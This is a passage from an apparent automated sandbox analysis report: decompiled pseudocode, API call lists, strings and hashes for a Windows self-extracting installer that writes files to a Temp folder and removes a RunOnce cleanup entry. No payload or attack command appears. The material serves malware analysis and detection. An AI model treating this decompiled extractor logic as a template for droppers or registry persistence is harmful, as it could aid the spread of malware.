					_t11 =  *0x11b8a20; // 0x0
				}
				if( *0x11b9a40 != 1 && _t11 != 0) {
					_t11 = E011B1FEC(_t22); // executed
				}
				 *0x11b8a20 =  *0x11b8a20 & 0x00000000;
				return E011B6C80(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x011b5276
0x011b5276
0x011b5276
0x011b5281
0x011b5288
0x011b528b
0x011b528c
0x011b5294
0x011b5296
0x011b5297
0x011b529e
0x011b52a0
0x011b52b2
0x011b52ba
0x011b52ba
0x011b52c2
0x011b52c5
0x011b52cc
0x011b52d2
0x011b52d6
0x011b52d6
0x011b52d7
0x011b52dc
0x011b52df
0x011b52f3
0x011b5305
0x011b5311
0x011b5319
0x011b5319
0x011b5323
0x011b5329
0x011b532f
0x011b5334
0x011b5334
0x011b5341
0x011b5347
0x011b5347
0x011b534f
0x011b535e

APIs

SetFileAttributesA.KERNELBASE(0383D570,00000080,?,00000000), ref: 011B52B2
DeleteFileA.KERNELBASE(0383D570), ref: 011B52BA
LocalFree.KERNEL32(0383D570,?,00000000), ref: 011B52C5
LocalFree.KERNEL32(0383D570), ref: 011B52CC
SetCurrentDirectoryA.KERNELBASE(011B11FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011B5323

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B52F4

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-305352358
Opcode ID: 7d7c0dfcbaead2f8ecd15d8f98e2ded521ee08eb5648356014875a5487389d92
Instruction ID: 301e625fe554b7bc680eea0c3ce721244669cff6b4f08aabec990aec6ff3a3de
Opcode Fuzzy Hash: 7d7c0dfcbaead2f8ecd15d8f98e2ded521ee08eb5648356014875a5487389d92
Instruction Fuzzy Hash: 8821C031516218DBDB7DAF28E8D8BE97BB9FF14718F000078E5A263298CBB059C5CB40

Uniqueness

Uniqueness Score: -1.00%

Function 011B1FEC, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B1FEC(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x11b8530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup0"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x011b1ff9
0x011b2010
0x011b2018
0x011b2022
0x00000000
0x011b202b
0x011b2018
0x011b2032

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,011B534C,?,?,011B534C), ref: 011B2010
RegDeleteValueA.KERNELBASE(011B534C,wextract_cleanup0,?,?,011B534C), ref: 011B2022
RegCloseKey.ADVAPI32(011B534C,?,?,011B534C), ref: 011B202B

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 011B2006
wextract_cleanup0, xrefs: 011B1FF2, 011B201A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 59a67c13d7042d57e3bffd87b3a70d20f5a3b25e045bcafeb4d2b052b658971c
Instruction ID: 31e3fce835f1f53f8a5520b2415b4eba5cd34882df9e967208fc9fadbbcbd288
Opcode Fuzzy Hash: 59a67c13d7042d57e3bffd87b3a70d20f5a3b25e045bcafeb4d2b052b658971c
Instruction Fuzzy Hash: C5E08630550318BBEB3D9B91FCCAF9E7A6DEB08B84F100064F611A1055D770AA84D714

Uniqueness

Uniqueness Score: -1.00%

Function 011B64C3, Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E011B64C3(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				int _t10;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x11b9a3c; // 0x11b0000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E011B4495(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t10 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8); // executed
						_t24 = _t10;
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x011b64cb
0x011b64d6
0x011b64e0
0x011b6517
0x011b6523
0x011b6528
0x011b64e2
0x011b64ea
0x011b64ee
0x00000000
0x011b64f0
0x011b64f3
0x011b64f8
0x011b64f5
0x011b64f5
0x011b64f5
0x011b6503
0x011b650a
0x011b650c
0x011b6515
0x00000000
0x00000000
0x011b6515
0x011b64ee
0x011b6531

APIs

FindResourceA.KERNEL32(011B0000,000007D6,00000005), ref: 011B64D6
LoadResource.KERNEL32(011B0000,00000000,?,?,011B2EDF,00000000,011B1A00,00000547,0000083E,?,?,?,?,?,?,?), ref: 011B64E4
DialogBoxIndirectParamA.USER32(011B0000,00000000,00000547,011B1A00,00000000), ref: 011B6503
FreeResource.KERNEL32(00000000,?,?,011B2EDF,00000000,011B1A00,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 011B650C

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 70c4898924d38bb9fd722442032ad07429901930462b9c225a8ab30c2256d686
Instruction ID: ef447e0198d0bc6b7c2309b5d28ad63cd0da69ad14111b342b88df6585fc2044
Opcode Fuzzy Hash: 70c4898924d38bb9fd722442032ad07429901930462b9c225a8ab30c2256d686
Instruction Fuzzy Hash: 8701A772100515BBDB296E699CC8DEB7A6DDF952A4F014535FB2193044D775CC50C760

Uniqueness

Uniqueness Score: -1.00%

Function 011B4CA0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E011B4CA0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x11b8004; // 0x714bc98c
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x11b91d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E011B4E67(_t75);
						L35:
						return E011B6C80(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x11b8584; // 0x1502ae
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4)); // executed
						}
						_t54 = 0x11b91e4;
						_t58 = 0x11b91e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0x11b91e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x11b91e4;
						_t30 = E011B46DC( &_v268, 0x11b91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E011B4747( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E011B4950( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E011B47BA( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x11b93f4 =  *0x11b93f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x11b91e4;
						_t63 = 0x11b91e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0x11b91e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x11b91e4;
						_t30 = E011B46DC( &_v268, 0x11b91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E011B4C07( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E011B4B30( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E011B4B30( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x011b4ca0
0x011b4cab
0x011b4cb0
0x011b4cb2
0x011b4cbe
0x011b4cc2
0x011b4cde
0x011b4cde
0x011b4ce1
0x011b4e53
0x011b4e58
0x011b4e66
0x011b4e66
0x011b4ce7
0x011b4ce7
0x011b4cea
0x011b4cff
0x011b4cff
0x00000000
0x011b4cff
0x011b4cec
0x011b4cec
0x011b4cef
0x011b4d9b
0x011b4da0
0x011b4da2
0x011b4dad
0x011b4dad
0x011b4db3
0x011b4db8
0x011b4dbd
0x011b4dbd
0x011b4dbf
0x011b4dc0
0x011b4dc0
0x011b4dc4
0x011b4dc4
0x011b4dc6
0x011b4dc9
0x011b4dcc
0x011b4dcc
0x011b4dce
0x011b4dcf
0x011b4dcf
0x011b4dd3
0x011b4dd8
0x011b4dda
0x011b4ddf
0x011b4cd3
0x011b4cd3
0x00000000
0x011b4cd3
0x011b4de8
0x011b4df0
0x011b4df5
0x011b4df7
0x00000000
0x00000000
0x011b4e03
0x011b4e08
0x011b4e0a
0x00000000
0x00000000
0x011b4e10
0x011b4e21
0x011b4e26
0x011b4e2b
0x011b4e2e
0x00000000
0x00000000
0x011b4e3a
0x011b4e3f
0x011b4e41
0x00000000
0x00000000
0x011b4e47
0x011b4e4d
0x00000000
0x011b4e4d
0x011b4cf5
0x011b4cf5
0x011b4cf8
0x011b4d06
0x011b4d0b
0x011b4d10
0x011b4d10
0x011b4d12
0x011b4d13
0x011b4d13
0x011b4d17
0x011b4d1a
0x011b4d1a
0x011b4d1c
0x011b4d1f
0x011b4d1f
0x011b4d21
0x011b4d22
0x011b4d22
0x011b4d26
0x011b4d2b
0x011b4d2d
0x011b4d32
0x00000000
0x00000000
0x011b4d37
0x011b4d3f
0x011b4d44
0x011b4d46
0x00000000
0x00000000
0x011b4d4c
0x011b4d54
0x011b4d59
0x011b4d5b
0x00000000
0x00000000
0x011b4d64
0x011b4d69
0x011b4d6e
0x011b4d71
0x011b4d7a
0x011b4d7a
0x011b4d73
0x011b4d73
0x011b4d73
0x011b4d85
0x011b4d8b
0x011b4d8d
0x00000000
0x011b4d93
0x011b4d95
0x00000000
0x011b4d95
0x011b4d8d
0x011b4cfa
0x011b4cfa
0x011b4cfd
0x00000000
0x00000000
0x00000000
0x011b4cfd
0x011b4cc8
0x011b4ccd
0x011b4cd2
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 011B4D85
SetDlgItemTextA.USER32(001502AE,00000837,?), ref: 011B4DAD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B4D06, 011B4DB3

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-305352358
Opcode ID: 31f83ac911c25e6023f899e8f2420ded009ae21cc5f24b8694d23e9f69051b81
Instruction ID: 6141fd3c13f85d4b70d347965146c13ea2a48af0b2be96956805b71a716c01e4
Opcode Fuzzy Hash: 31f83ac911c25e6023f899e8f2420ded009ae21cc5f24b8694d23e9f69051b81
Instruction Fuzzy Hash: 9D4124312006068ADB2D9E3CC9C46FA77E5AF15B04F04C6A8D9D393E97DB31DA86C750

Uniqueness

Uniqueness Score: -1.00%

Function 011B4C07, Relevance: 4.5, APIs: 3, Instructions: 38
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B4C07(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x11b8d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x11b8d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x011b4c10
0x011b4c1a
0x011b4c5d
0x00000000
0x011b4c40
0x011b4c40
0x011b4c4e
0x011b4c56
0x00000000
0x00000000
0x00000000
0x011b4c5a

APIs

DosDateTimeToFileTime.KERNEL32 ref: 011B4C24
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 011B4C36
SetFileTime.KERNELBASE(?,?,?,?), ref: 011B4C4E

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: fa7c548db9cdc4367e9366fca8c37149df07d70506633b3e07bcfc599b73f413
Instruction ID: de9b038378b439cb437ef14f38ac3250fdb311f241567d06e2d72276b55bbaa9
Opcode Fuzzy Hash: fa7c548db9cdc4367e9366fca8c37149df07d70506633b3e07bcfc599b73f413
Instruction Fuzzy Hash: 9BF096726002096EAB2C9BA8DCC9DFF7BEDEB05544704843AE527D2041E730E544C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 011B4854, Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E011B4854(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E011B48E6(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x011b485a
0x011b4866
0x011b486e
0x011b487a
0x011b48a3
0x011b48a8
0x011b487c
0x011b4882
0x011b4891
0x011b4896
0x011b4884
0x011b4886
0x011b4886
0x011b4882
0x011b48b8
0x011b48c1
0x011b48e5
0x011b48c8
0x011b48ca
0x00000000
0x011b48dc

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,011B49F3,?,011B4F35,*MEMCAB,00008000,00000180), ref: 011B48B8
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,011B4F35,*MEMCAB,00008000,00000180), ref: 011B48DC

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f2f95dcfb624facaf936d830e52f9db3a0b5074272574692c3c32b61b578d7a3
Instruction ID: 7c4f4c45e47a60e6e55091798a9c7e305ff214cd5308c7222b966dd7ba93d122
Opcode Fuzzy Hash: f2f95dcfb624facaf936d830e52f9db3a0b5074272574692c3c32b61b578d7a3
Instruction Fuzzy Hash: 290169A7E555702AF33840699C88FF7550CCB9A634F1B8235FEABEB5D2D6644C04C2E0

Uniqueness

Uniqueness Score: -1.00%

Function 011B4AA0, Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E011B4AA0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x11b858c; // 0x15c
				_t9 = E011B3670(_t20);
				if( *0x11b91d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x11b8d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0x11b9400; // 0x1e3a70
							_t15 = _t14 + _t25;
							 *0x11b9400 = _t15;
							if( *0x11b8184 != 0) {
								_t21 =  *0x11b8584; // 0x1502ae
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x11b93f8, 0); // executed
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x011b4aa5
0x011b4aab
0x011b4ab7
0x011b4abe
0x011b4ad5
0x011b4add
0x011b4ae4
0x011b4aea
0x011b4aec
0x011b4af1
0x011b4afa
0x011b4aff
0x011b4b01
0x011b4b09
0x011b4b24
0x011b4b24
0x011b4b09
0x011b4aff
0x011b4adf
0x011b4adf
0x011b4adf
0x011b4b2e
0x011b4ab9
0x011b4abd
0x011b4abd

APIs

Part of subcall function 011B3670: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 011B368F
Part of subcall function 011B3670: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011B36A2
Part of subcall function 011B3670: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011B36CA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 011B4AD5

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: ee770ed01e2c3a2640fabb36cdd1d8ea75a8f405d7857058e7b6cef754d3c743
Instruction ID: 2c8a8e23b0931946b579cff5578f5671c57dd6f7e7fd1b83dd1d81b59da74e7c
Opcode Fuzzy Hash: ee770ed01e2c3a2640fabb36cdd1d8ea75a8f405d7857058e7b6cef754d3c743
Instruction Fuzzy Hash: EC01D2312102059BD72C8F28EDC5BE23B59FB44B29F04C235FB36861D5D7309891CB40

Uniqueness

Uniqueness Score: -1.00%

Function 011B6534, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B6534(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x11b8b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x11b8b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E011B16D3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x011b653c
0x011b653e
0x011b6540
0x011b6542
0x011b6542
0x011b6545
0x011b6545
0x011b6547
0x011b6548
0x011b654c
0x011b654e
0x011b6553
0x011b655c
0x011b6560
0x011b6564
0x011b656d
0x011b656f
0x011b6572
0x011b6572
0x011b656d
0x011b6573
0x011b6576
0x011b657c
0x011b657b
0x011b657b
0x00000000
0x011b6586
0x00000000

APIs

CharPrevA.USER32(011B8B3E,011B8B3F,00000001,011B8B3E,-00000003,?,011B609E,011B1140,?), ref: 011B6564

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 9866842fc7728521013b181643f5bd6e74b35dc081065a0ca5eb5535f211e3d8
Instruction ID: 9bb68a3abdf57d9d59375a36245fe23c799c67c6e91976039401ae1a04b0e7c3
Opcode Fuzzy Hash: 9866842fc7728521013b181643f5bd6e74b35dc081065a0ca5eb5535f211e3d8
Instruction Fuzzy Hash: 79F0A232A042405FD33E091DD8C4BF6BFDA8BA62E0F19016AD5DDC3205C7594C41C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 011B61CE, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E011B61CE() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x11b8004; // 0x714bc98c
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E011B5933( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E011B4495(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x11b9124 = E011B6233();
					_t9 = 0;
				}
				return E011B6C80(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x011b61d9
0x011b61e0
0x011b61f7
0x011b621a
0x011b6222
0x011b61f9
0x011b6205
0x011b620f
0x011b6214
0x011b6214
0x011b6232

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 011B61EF

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Part of subcall function 011B6233: GetLastError.KERNEL32(011B5B72), ref: 011B6233

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 63584ad9c899ff154fda87cac318cb225cd4076c175025fe86b4ce342314801b
Instruction ID: 307b8446b20f82f897016205be37f87055ce1d52716a1e44aff17f87f563a207
Opcode Fuzzy Hash: 63584ad9c899ff154fda87cac318cb225cd4076c175025fe86b4ce342314801b
Instruction Fuzzy Hash: 7EF0E2B0B04209AFE768EB349DC5BFE36ACCB68708F4000B9E682D7081DBB49981C750

Uniqueness

Uniqueness Score: -1.00%

Function 011B4B30, Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B4B30(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x11b8d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x11b8d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x11b8d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x11b8d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x11b8d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x11b8d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x11b8d6c)) = 0;
				return 0;
			}

0x011b4b36
0x011b4b44
0x011b4b68
0x011b4b70
0x00000000
0x011b4b7c
0x011b4b74
0x00000000
0x011b4b74
0x011b4b48
0x011b4b4e
0x011b4b54
0x011b4b5a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,011B4F6F,00000000), ref: 011B4B68

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

